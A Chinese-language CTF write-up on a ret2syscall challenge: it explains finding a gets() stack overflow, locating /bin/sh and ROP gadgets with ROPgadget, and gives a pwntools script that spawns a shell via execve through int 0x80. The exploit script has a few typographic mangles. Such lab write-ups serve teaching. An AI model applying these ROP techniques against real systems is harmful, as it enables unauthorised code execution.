首先还是file分析一下
查看一下保护措施
可以看见 开了nx 那我们就用rop
用ida打开 然后查看main函数
很明显的gets函数就有栈溢出,那么再去看看字符串
shift+f12可以看到是有个/bin/sh字符串 但是我们得去调用他

也就是通过系统调用来获取shell
那么也就有很清晰的思路
1.把对应获取 shell 的系统调用的参数放到对应的寄存器
2.执行 int 0x80 就可执行对应的系统调用
Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数
应用程序调用系统调用的过程是:
1).把系统调用的编号存入 EAX
2).把函数参数存入其它通用寄存器(这就是本程序rop的精髓 利用代码的小片段把参数pop到寄存器)
3).触发 0x80 号中断(int 0x80)
如:比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
**
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。(这里wiki说的太好了 直接搬过来了)
ROPgadget —binary rop —only ‘pop|ret’ | grep ‘eax’
这上面的几个都可以控制EAX,选择第二个0x080bb196
所以pop_eax_addr = 0x080bb196
**
ROPgadget —binary rop —only ‘pop|ret’ | grep ‘ebx’
这里选择0x0806eb90 因为他可以直接控制其他三个寄存器
所以pop_addr_ebx = 0x0806eb90
现在还需要一个/bin/sh地址 我题解一开头就表明了/bin/sh的地址
所以shell_addr = 0x080be408
还需要一个 int 80h的地址(Linux 的系统调用通过 int 80h 实现)
ROPgadget —binary rop —only ‘int’
所以int_addr = 0x08049421
至于偏移我之前的两篇wp意见写的很详细了
这里偏移还是112个字节
这个时候就可以写exp了
from pwn import
sh = process(‘./rop’)
pop_eax_addr = 0x080bb196
pop_edx_addr = 0x0806eb90
int_addr = 0x08049421
shell_addr = 0x80be408
payload = flat([112‘A’ + pop_eax_addr,0xb,pop_edx_addr,0,0,shell_addr,int_addr]) #其中 0xb 为 execve 对应的系统调用号
sh.sendline(payload)
sh.interactive()
这里借鉴了:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2syscall
